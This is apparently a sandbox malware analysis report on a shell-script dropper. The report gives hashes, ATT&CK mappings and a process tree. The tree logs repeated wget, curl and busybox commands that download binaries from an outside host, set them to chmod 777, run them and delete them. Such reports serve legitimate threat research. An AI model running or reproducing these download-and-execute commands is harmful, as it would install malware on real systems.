d704c4ed7010e16cd595d2bbce62d63538beac09a83b9dce153aa0618c1519c0

Analysis

max time kernel
124s
max time network
155s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
22/11/2024, 03:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d704c4ed7010e16cd595d2bbce62d63538beac09a83b9dce153aa0618c1519c0.sh
Size 10KB
Sample241122-dnjmnazjaj
SHA256 d704c4ed7010e16cd595d2bbce62d63538beac09a83b9dce153aa0618c1519c0
MD5 74df61778e7682890314f6a79b0ac521
SHA1 8f87e0e77b1455eaba12c31328a7cb0e06367016
SHA512 3555a8daad7750463d520513dd02b3f8b0737ca31e7d78707c3bdf0aef73903451af18f4aa3ad9c0236faa2b81b57c5bdacf61497ea4be6ac0828c6b800bc2ce
SSDEEP 192:RkofiXfXvXQXVXBXNlH/oFpazH/oFpbXfXvXQXVXBX91:RkofkfvydBNlH/oFpazH/oFpTfvydB91
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 11 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
834	chmod
841	chmod
848	chmod
855	chmod
869	chmod
876	chmod
765	chmod
827	chmod
883	chmod
733	chmod
862	chmod

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/V70oMYssT5Y520A8q1FP98a3pMmvw3kfta	734	V70oMYssT5Y520A8q1FP98a3pMmvw3kfta
/tmp/eaGvAlEd7b8rvFpt9Nbh651hfOOeMzJ1zO	766	eaGvAlEd7b8rvFpt9Nbh651hfOOeMzJ1zO
/tmp/HjCGdagXFRzRzmHWvBCYzgqXZkX357o44H	828	HjCGdagXFRzRzmHWvBCYzgqXZkX357o44H
/tmp/KvXnx0qdKXVUE79L3d3QuQOc94PGTDlMvK	835	KvXnx0qdKXVUE79L3d3QuQOc94PGTDlMvK
/tmp/UF3TkRZDuulFuvhxZcSIDWbCyncOC7vuzX	842	UF3TkRZDuulFuvhxZcSIDWbCyncOC7vuzX
/tmp/QA8k32p7JveCjL2M0ou2J773A7PNPlgCAM	849	QA8k32p7JveCjL2M0ou2J773A7PNPlgCAM
/tmp/krSDO9nKFlGe9RRVBfoV6zMolY0u2OMbo4	856	krSDO9nKFlGe9RRVBfoV6zMolY0u2OMbo4
/tmp/u8bb2jX2PKlm8y1mdlEozBEvqM5AzAd858	863	u8bb2jX2PKlm8y1mdlEozBEvqM5AzAd858
/tmp/E7SFxVVoo9zqd2GkFnlZbx0mxelzV4rdAi	870	E7SFxVVoo9zqd2GkFnlZbx0mxelzV4rdAi
/tmp/BOOvAAGV3UtLy5wLlyJRUB72yOVGIwdFIX	877	BOOvAAGV3UtLy5wLlyJRUB72yOVGIwdFIX
/tmp/jJQNcHJxMvJGTc8iobEZR7W5ToNVujNQMo	884	jJQNcHJxMvJGTc8iobEZR7W5ToNVujNQMo

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 35 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
718	curl
840	busybox
845	curl
879	wget
882	busybox
831	curl
854	busybox
729	busybox
833	busybox
852	curl
873	curl
802	curl
844	wget
872	wget
838	curl
861	busybox
865	wget
886	wget
887	curl
711	wget
736	wget
738	curl
771	wget
830	wget
875	busybox
868	busybox
761	busybox
826	busybox
837	wget
847	busybox
851	wget
858	wget
859	curl
866	curl
880	curl

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/u8bb2jX2PKlm8y1mdlEozBEvqM5AzAd858	curl
File opened for modification	/tmp/jJQNcHJxMvJGTc8iobEZR7W5ToNVujNQMo	curl
File opened for modification	/tmp/V70oMYssT5Y520A8q1FP98a3pMmvw3kfta	curl
File opened for modification	/tmp/eaGvAlEd7b8rvFpt9Nbh651hfOOeMzJ1zO	curl
File opened for modification	/tmp/HjCGdagXFRzRzmHWvBCYzgqXZkX357o44H	curl
File opened for modification	/tmp/krSDO9nKFlGe9RRVBfoV6zMolY0u2OMbo4	curl
File opened for modification	/tmp/BOOvAAGV3UtLy5wLlyJRUB72yOVGIwdFIX	curl
File opened for modification	/tmp/KvXnx0qdKXVUE79L3d3QuQOc94PGTDlMvK	curl
File opened for modification	/tmp/UF3TkRZDuulFuvhxZcSIDWbCyncOC7vuzX	curl
File opened for modification	/tmp/QA8k32p7JveCjL2M0ou2J773A7PNPlgCAM	curl
File opened for modification	/tmp/E7SFxVVoo9zqd2GkFnlZbx0mxelzV4rdAi	curl

/tmp/d704c4ed7010e16cd595d2bbce62d63538beac09a83b9dce153aa0618c1519c0.sh
/tmp/d704c4ed7010e16cd595d2bbce62d63538beac09a83b9dce153aa0618c1519c0.sh
1⤵
PID:701
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:708
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/V70oMYssT5Y520A8q1FP98a3pMmvw3kfta
  2⤵
  - System Network Configuration Discovery
  PID:711
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/V70oMYssT5Y520A8q1FP98a3pMmvw3kfta
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:718
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/V70oMYssT5Y520A8q1FP98a3pMmvw3kfta
  2⤵
  - System Network Configuration Discovery
  PID:729
- /bin/chmod
  chmod 777 V70oMYssT5Y520A8q1FP98a3pMmvw3kfta
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/V70oMYssT5Y520A8q1FP98a3pMmvw3kfta
  ./V70oMYssT5Y520A8q1FP98a3pMmvw3kfta
  2⤵
  - Executes dropped EXE
  PID:734
- /bin/rm
  rm V70oMYssT5Y520A8q1FP98a3pMmvw3kfta
  2⤵
  PID:735
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/eaGvAlEd7b8rvFpt9Nbh651hfOOeMzJ1zO
  2⤵
  - System Network Configuration Discovery
  PID:736
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/eaGvAlEd7b8rvFpt9Nbh651hfOOeMzJ1zO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/eaGvAlEd7b8rvFpt9Nbh651hfOOeMzJ1zO
  2⤵
  - System Network Configuration Discovery
  PID:761
- /bin/chmod
  chmod 777 eaGvAlEd7b8rvFpt9Nbh651hfOOeMzJ1zO
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/eaGvAlEd7b8rvFpt9Nbh651hfOOeMzJ1zO
  ./eaGvAlEd7b8rvFpt9Nbh651hfOOeMzJ1zO
  2⤵
  - Executes dropped EXE
  PID:766
- /bin/rm
  rm eaGvAlEd7b8rvFpt9Nbh651hfOOeMzJ1zO
  2⤵
  PID:769
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HjCGdagXFRzRzmHWvBCYzgqXZkX357o44H
  2⤵
  - System Network Configuration Discovery
  PID:771
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HjCGdagXFRzRzmHWvBCYzgqXZkX357o44H
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:802
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HjCGdagXFRzRzmHWvBCYzgqXZkX357o44H
  2⤵
  - System Network Configuration Discovery
  PID:826
- /bin/chmod
  chmod 777 HjCGdagXFRzRzmHWvBCYzgqXZkX357o44H
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/HjCGdagXFRzRzmHWvBCYzgqXZkX357o44H
  ./HjCGdagXFRzRzmHWvBCYzgqXZkX357o44H
  2⤵
  - Executes dropped EXE
  PID:828
- /bin/rm
  rm HjCGdagXFRzRzmHWvBCYzgqXZkX357o44H
  2⤵
  PID:829
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/KvXnx0qdKXVUE79L3d3QuQOc94PGTDlMvK
  2⤵
  - System Network Configuration Discovery
  PID:830
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/KvXnx0qdKXVUE79L3d3QuQOc94PGTDlMvK
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:831
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/KvXnx0qdKXVUE79L3d3QuQOc94PGTDlMvK
  2⤵
  - System Network Configuration Discovery
  PID:833
- /bin/chmod
  chmod 777 KvXnx0qdKXVUE79L3d3QuQOc94PGTDlMvK
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/KvXnx0qdKXVUE79L3d3QuQOc94PGTDlMvK
  ./KvXnx0qdKXVUE79L3d3QuQOc94PGTDlMvK
  2⤵
  - Executes dropped EXE
  PID:835
- /bin/rm
  rm KvXnx0qdKXVUE79L3d3QuQOc94PGTDlMvK
  2⤵
  PID:836
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UF3TkRZDuulFuvhxZcSIDWbCyncOC7vuzX
  2⤵
  - System Network Configuration Discovery
  PID:837
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UF3TkRZDuulFuvhxZcSIDWbCyncOC7vuzX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:838
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UF3TkRZDuulFuvhxZcSIDWbCyncOC7vuzX
  2⤵
  - System Network Configuration Discovery
  PID:840
- /bin/chmod
  chmod 777 UF3TkRZDuulFuvhxZcSIDWbCyncOC7vuzX
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/UF3TkRZDuulFuvhxZcSIDWbCyncOC7vuzX
  ./UF3TkRZDuulFuvhxZcSIDWbCyncOC7vuzX
  2⤵
  - Executes dropped EXE
  PID:842
- /bin/rm
  rm UF3TkRZDuulFuvhxZcSIDWbCyncOC7vuzX
  2⤵
  PID:843
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QA8k32p7JveCjL2M0ou2J773A7PNPlgCAM
  2⤵
  - System Network Configuration Discovery
  PID:844
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QA8k32p7JveCjL2M0ou2J773A7PNPlgCAM
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:845
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QA8k32p7JveCjL2M0ou2J773A7PNPlgCAM
  2⤵
  - System Network Configuration Discovery
  PID:847
- /bin/chmod
  chmod 777 QA8k32p7JveCjL2M0ou2J773A7PNPlgCAM
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/QA8k32p7JveCjL2M0ou2J773A7PNPlgCAM
  ./QA8k32p7JveCjL2M0ou2J773A7PNPlgCAM
  2⤵
  - Executes dropped EXE
  PID:849
- /bin/rm
  rm QA8k32p7JveCjL2M0ou2J773A7PNPlgCAM
  2⤵
  PID:850
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/krSDO9nKFlGe9RRVBfoV6zMolY0u2OMbo4
  2⤵
  - System Network Configuration Discovery
  PID:851
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/krSDO9nKFlGe9RRVBfoV6zMolY0u2OMbo4
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:852
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/krSDO9nKFlGe9RRVBfoV6zMolY0u2OMbo4
  2⤵
  - System Network Configuration Discovery
  PID:854
- /bin/chmod
  chmod 777 krSDO9nKFlGe9RRVBfoV6zMolY0u2OMbo4
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/krSDO9nKFlGe9RRVBfoV6zMolY0u2OMbo4
  ./krSDO9nKFlGe9RRVBfoV6zMolY0u2OMbo4
  2⤵
  - Executes dropped EXE
  PID:856
- /bin/rm
  rm krSDO9nKFlGe9RRVBfoV6zMolY0u2OMbo4
  2⤵
  PID:857
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/u8bb2jX2PKlm8y1mdlEozBEvqM5AzAd858
  2⤵
  - System Network Configuration Discovery
  PID:858
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/u8bb2jX2PKlm8y1mdlEozBEvqM5AzAd858
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:859
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/u8bb2jX2PKlm8y1mdlEozBEvqM5AzAd858
  2⤵
  - System Network Configuration Discovery
  PID:861
- /bin/chmod
  chmod 777 u8bb2jX2PKlm8y1mdlEozBEvqM5AzAd858
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/u8bb2jX2PKlm8y1mdlEozBEvqM5AzAd858
  ./u8bb2jX2PKlm8y1mdlEozBEvqM5AzAd858
  2⤵
  - Executes dropped EXE
  PID:863
- /bin/rm
  rm u8bb2jX2PKlm8y1mdlEozBEvqM5AzAd858
  2⤵
  PID:864
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/E7SFxVVoo9zqd2GkFnlZbx0mxelzV4rdAi
  2⤵
  - System Network Configuration Discovery
  PID:865
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/E7SFxVVoo9zqd2GkFnlZbx0mxelzV4rdAi
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:866
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/E7SFxVVoo9zqd2GkFnlZbx0mxelzV4rdAi
  2⤵
  - System Network Configuration Discovery
  PID:868
- /bin/chmod
  chmod 777 E7SFxVVoo9zqd2GkFnlZbx0mxelzV4rdAi
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/E7SFxVVoo9zqd2GkFnlZbx0mxelzV4rdAi
  ./E7SFxVVoo9zqd2GkFnlZbx0mxelzV4rdAi
  2⤵
  - Executes dropped EXE
  PID:870
- /bin/rm
  rm E7SFxVVoo9zqd2GkFnlZbx0mxelzV4rdAi
  2⤵
  PID:871
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BOOvAAGV3UtLy5wLlyJRUB72yOVGIwdFIX
  2⤵
  - System Network Configuration Discovery
  PID:872
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BOOvAAGV3UtLy5wLlyJRUB72yOVGIwdFIX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:873
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BOOvAAGV3UtLy5wLlyJRUB72yOVGIwdFIX
  2⤵
  - System Network Configuration Discovery
  PID:875
- /bin/chmod
  chmod 777 BOOvAAGV3UtLy5wLlyJRUB72yOVGIwdFIX
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/BOOvAAGV3UtLy5wLlyJRUB72yOVGIwdFIX
  ./BOOvAAGV3UtLy5wLlyJRUB72yOVGIwdFIX
  2⤵
  - Executes dropped EXE
  PID:877
- /bin/rm
  rm BOOvAAGV3UtLy5wLlyJRUB72yOVGIwdFIX
  2⤵
  PID:878
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jJQNcHJxMvJGTc8iobEZR7W5ToNVujNQMo
  2⤵
  - System Network Configuration Discovery
  PID:879
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jJQNcHJxMvJGTc8iobEZR7W5ToNVujNQMo
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:880
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jJQNcHJxMvJGTc8iobEZR7W5ToNVujNQMo
  2⤵
  - System Network Configuration Discovery
  PID:882
- /bin/chmod
  chmod 777 jJQNcHJxMvJGTc8iobEZR7W5ToNVujNQMo
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/jJQNcHJxMvJGTc8iobEZR7W5ToNVujNQMo
  ./jJQNcHJxMvJGTc8iobEZR7W5ToNVujNQMo
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm jJQNcHJxMvJGTc8iobEZR7W5ToNVujNQMo
  2⤵
  PID:885
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2K4WE8qtq4PmQrANDRncBJ0Sp4ZEEHHodL
  2⤵
  - System Network Configuration Discovery
  PID:886
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2K4WE8qtq4PmQrANDRncBJ0Sp4ZEEHHodL
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:887

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

V70oMYssT5Y520A8q1FP98a3pMmvw3kfta

Path /tmp/V70oMYssT5Y520A8q1FP98a3pMmvw3kfta
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download